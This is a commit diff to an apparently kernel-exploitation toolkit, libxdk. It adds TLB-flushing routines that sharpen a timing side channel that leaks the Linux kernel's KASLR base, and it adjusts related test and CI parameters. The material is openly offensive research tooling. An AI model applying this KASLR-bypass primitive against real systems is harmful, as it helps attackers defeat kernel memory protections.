Skip to content

Commit 30052e3

Browse files
committed
fixup: tlb flush
1 parent 3dc6fef commit 30052e3

3 files changed

Lines changed: 68 additions & 2 deletions

File tree

.github/workflows/test-libxdk.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -104,7 +104,7 @@ jobs:
104104
- name: Test libxdk (QEMU)
105105
if: ${{ success() || failure() }}
106106
working-directory: ./libxdk
107-
run: CUSTOM_MODULES_KEEP=1 timeout 20m ./run_tests.sh ${{ steps.vars.outputs.target }} 200 --tap
107+
run: CUSTOM_MODULES_KEEP=1 timeout 20m ./run_tests.sh ${{ steps.vars.outputs.target }} 20 --tap
108108

109109
- name: Move test results to separate dir
110110
if: ${{ success() || failure() }}

libxdk/test/tests/UtilsRuntimeTests.h

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ class UtilsRuntimeTests: public TestSuite {
3838
int incorrect = 0;
3939
for (int i = 0; i < total; i++) {
4040
std::vector<std::vector<uint64_t>> debug_data;
41-
uint64_t actual = leak_kaslr_base(100, 7, &debug_data);
41+
uint64_t actual = leak_kaslr_base(20, 3, &debug_data);
4242
if (actual != expected) {
4343
printf("Iteration: %d failed, expected %llx, got %llx\n", i, expected, actual);
4444

libxdk/util/pwn_utils.cpp

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,7 @@
2525
#include <sys/syscall.h>
2626
#include <unistd.h>
2727
#include <immintrin.h>
28+
#include <string.h>
2829

2930
bool is_kaslr_base(uint64_t kbase_addr) {
3031
if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000)
@@ -148,6 +149,69 @@ uint64_t sidechannel(uint64_t addr) {
148149
return delta;
149150
}
150151

152+
#define _TLB_BUFFER_LENGTH (16 * 1024 * 1024)
153+
static char _tlb_buffer1[_TLB_BUFFER_LENGTH] = {0};
154+
static char _tlb_buffer2[_TLB_BUFFER_LENGTH] = {0};
155+
volatile char* _tlb_l1e, *_tlb_l2s;
156+
157+
static char* _align_page_address(char *address, size_t align)
158+
{
159+
uint64_t target = (uint64_t) address;
160+
uint64_t aligned;
161+
162+
aligned = target + (align - (target & (align - 1)));
163+
164+
return (char *)aligned;
165+
}
166+
167+
static void evict_l1_tlb_set(size_t set)
168+
{
169+
size_t index, i;
170+
volatile char *eviction, *p = _tlb_l1e;
171+
172+
for (i = 0; i < 4; ++i) {
173+
index = (set + (i * 16)) << 12;
174+
eviction = (char *)((size_t) p | index);
175+
*eviction = 0x5A;
176+
}
177+
}
178+
179+
static void evict_l2_tlb_set(size_t set)
180+
{
181+
size_t index, i;
182+
volatile char *eviction, *p = _tlb_l2s;
183+
184+
for (i = 0; i < 4; ++i) {
185+
index = (set + (i * 128)) << 12;
186+
eviction = (char *)((size_t) p | index);
187+
*eviction = 0x5A;
188+
}
189+
}
190+
191+
static void evict_l1_tlb_all(void)
192+
{
193+
for (size_t set = 0; set < 128; set++) {
194+
evict_l1_tlb_set(set);
195+
}
196+
}
197+
198+
void tlb_flush(void) {
199+
for (size_t set = 0; set < 128; set++) {
200+
evict_l1_tlb_all();
201+
evict_l2_tlb_set(set);
202+
}
203+
204+
asm volatile("lfence");
205+
}
206+
207+
void tlb_init(void) {
208+
memset(_tlb_buffer1, 2, _TLB_BUFFER_LENGTH);
209+
memset(_tlb_buffer2, 2, _TLB_BUFFER_LENGTH);
210+
211+
_tlb_l1e = _align_page_address((char*) &_tlb_buffer1, 0x40000);
212+
_tlb_l2s = _align_page_address((char*) &_tlb_buffer2, 0x40000);
213+
}
214+
151215
std::pair<std::optional<uint64_t>, std::vector<uint64_t>> try_leak_kaslr_base(int samples) {
152216
size_t slots = (KASLR_END - KASLR_START) / KASLR_SLOT_SIZE;
153217
std::vector<std::vector<uint64_t>> all_timings(slots);
@@ -158,6 +222,7 @@ std::pair<std::optional<uint64_t>, std::vector<uint64_t>> try_leak_kaslr_base(in
158222
for (int i = 0; i < samples; i++) {
159223
for (size_t slot = 0; slot < slots; slot++) {
160224
uint64_t addr = slot_to_addr(slot);
225+
tlb_flush();
161226
uint64_t timing = sidechannel(addr);
162227
all_timings[slot].push_back(timing);
163228
}
@@ -208,6 +273,7 @@ std::optional<uint64_t> find_majority(const std::vector<std::optional<uint64_t>>
208273
}
209274

210275
uint64_t leak_kaslr_base(int samples, int trials, std::vector<std::vector<uint64_t>>* debug_data) {
276+
tlb_init();
211277
std::vector<std::optional<uint64_t>> slots(trials);
212278
for (int attempt = 0; attempt < KASLR_MAX_ATTEMPTS; attempt++) {
213279
for (int trial = 0; trial < trials; trial++) {

0 commit comments

Comments
 (0)